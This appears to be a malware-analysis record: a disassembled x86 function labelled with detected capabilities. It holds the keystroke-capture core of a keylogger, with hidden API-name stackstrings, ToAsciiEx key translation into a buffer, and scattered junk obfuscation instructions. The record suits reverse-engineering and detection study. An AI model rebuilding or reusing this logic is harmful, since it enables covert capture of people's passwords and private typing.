Function at 0x10006ecf
Capabilities:
Contain obfuscated stackstrings
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
xor ebx, ebx
cmp byte [ebp + 0x10], bl
push esi
push edi
mov byte [ebp - 0x34], 0x75
mov byte [ebp - 0x33], 0x73
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x33
mov byte [ebp - 0x2f], 0x32
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], bl
je 0x10006f85
push 0x30
lea eax, [ebp - 0x78]
pop esi
push esi
push ebx
push eax
call fcn.1000d7f0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], esi
push eax
push ebx
call fcn.1000732e
add esp, 0x14
test eax, eax
je 0x10006f33
mov eax, dword [ebp - 0x6c]
cmp eax, ebx
jne 0x10006f39
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebp
sbb ebp, esp
sbb ebp, esi
add ebp, eax
sbb ebp, edx
sbb ebp, esp
add ebp, esi
nop
pop ebp
push ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
cmp byte [0x10021ead], bl
mov dword [ebp - 0xc], eax
je 0x10006f77
cmp dword [ebp + 0xc], ebx
jne 0x10006f77
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov dword [ebp + 0xc], eax
jmp 0x10006f8f
mov eax, dword [0x10021ea8]
cmp eax, ebx
je 0x10006f8f
push ebx
call eax
jmp 0x10006f8f
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0xc], eax
push ecx
add ecx, eax
xor ecx, esp
add ecx, eax
add ecx, esp
nop
pop ecx
lea eax, [ebp - 0x48]
mov byte [ebp - 0x48], 0x47
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x74
mov byte [ebp - 0x45], 0x4b
mov byte [ebp - 0x44], 0x65
mov byte [ebp - 0x43], 0x79
mov byte [ebp - 0x42], 0x62
mov byte [ebp - 0x41], 0x6f
mov byte [ebp - 0x40], 0x61
mov byte [ebp - 0x3f], 0x72
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x53
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x61
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], bl
call fcn.10002820
pop ecx
cmp eax, ebx
pop ecx
je 0x10007261
mov esi, 0x100219b8
push esi
call eax
test eax, eax
je 0x10007261
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x54
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x41
mov byte [ebp - 0x25], 0x73
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x45
mov byte [ebp - 0x20], 0x78
mov byte [ebp - 0x1f], bl
call fcn.10002820
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
mov dword [ebp - 0x10], edi
je 0x10007261
mov byte [ebp + 0x13], bl
push ebp
mov ebp, 0xbbbbbbbb
xor ebp, esp
sbb ebp, eax
xor ebp, esp
nop
pop ebp
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push ebx
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
mov ecx, eax
cmp ecx, ebx
mov dword [ebp - 0x14], ecx
je 0x10007261
mov al, byte [0x10021ead]
cmp al, bl
jne 0x10007084
cmp ecx, 0xffffffff
je 0x1000708d
cmp ecx, 2
jne 0x100070d6
cmp al, bl
je 0x100070d6
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push ebx
mov ebx, dword [ebp + 0xc]
push eax
push esi
push ebx
push dword [ebp + 8]
call edi
mov eax, dword [ebp + 8]
push 0x100
push esi
push 0x10021d9c
mov byte [0x10021ea0], 1
mov dword [0x10021d98], ebx
mov dword [0x10021e9c], eax
call fcn.1000dc70
add esp, 0xc
push ebx
add ebx, eax
add ebx, esi
xor ebx, esp
add ebx, edx
pop ebx
jmp 0x1000725d
cmp byte [0x10021ea0], bl
je 0x1000714b
cmp al, bl
mov edi, 0x10021d9c
je 0x100070f2
cmp ecx, 0xffffffff
jne 0x100070f2
mov byte [ebp + 0x13], 1
jmp 0x1000710f
push dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
push ebx
push eax
push edi
push dword [0x10021d98]
push dword [0x10021e9c]
call dword [ebp - 0x10]
mov al, byte [0x10021ead]
push dword [ebp - 0xc]
cmp al, bl
lea eax, [ebp - 8]
push ebx
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
je 0x1000712a
call dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
jmp 0x10007145
call dword [ebp - 0x10]
push dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
push ebx
push eax
push edi
push dword [0x10021d98]
push dword [0x10021e9c]
call dword [ebp - 0x10]
mov byte [0x10021ea0], bl
push ebx
mov ebx, 0xbdbdbdbd
mov ebx, 0xc2c2c2c2
sub ebx, ebp
pop ebx
cmp byte [ebp + 0x14], bl
je 0x10007261
cmp dword [0x100210b0], ebx
jne 0x100071f3
mov eax, dword [ebp + 8]
mov byte [ebp + 0x14], 0xd
cmp eax, 8
mov byte [ebp + 0x15], 0xa
mov byte [ebp + 0x16], bl
jne 0x100071b6
mov al, byte [0x1001edfc]
lea edi, [ebp - 0x1b]
mov byte [ebp - 0x1c], al
xor eax, eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x10021eb8]
push dword [0x10021eb0]
push dword [eax + 4]
call fcn.100063db
push eax
call fcn.10006bbf
add esp, 0x10
jmp 0x1000725d
cmp eax, 0xd
jne 0x100071c3
lea eax, [ebp + 0x14]
jmp 0x10007256
cmp eax, 0x1b
je 0x1000725d
cmp eax, 9
jne 0x100071f3
push ebx
mov ebx, 0x44444444
sbb ebx, eax
xor ebx, esp
xor ebx, eax
sbb ebx, esp
pop ebx
mov eax, dword [0x10021994]
cmp eax, 0x64
jge 0x1000725d
mov byte [eax + 0x10021600], 9
jmp 0x10007237
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x14], 1
mov byte [ebp - 4], al
jg 0x1000723f
cmp byte [ebp + 0x13], bl
jne 0x10007244
cmp al, 0x1f
jbe 0x1000725d
push eax
mov eax, 0x7b7b7b7b
mov eax, 0x80808080
nop
pop eax
mov cl, byte [ebp - 4]
push ebp
add ebp, esp
xor ebp, eax
add ebp, esp
add ebp, eax
xor ebp, esp
add ebp, eax
nop
pop ebp
mov eax, dword [0x10021994]
cmp eax, 0x64
jge 0x1000725d
mov byte [eax + 0x10021600], cl
inc eax
mov dword [0x10021994], eax
jmp 0x1000725d
cmp byte [ebp + 0x13], bl
je 0x10007249
mov byte [ebp - 3], al
jmp 0x10007250
xor ecx, ecx
mov cl, ah
mov byte [ebp - 3], cl
mov byte [ebp - 2], bl
lea eax, [ebp - 4]
push eax
call fcn.10006bbf
pop ecx
mov al, 1
jmp 0x10007263
xor al, al
pop edi
pop esi
pop ebx
leave
ret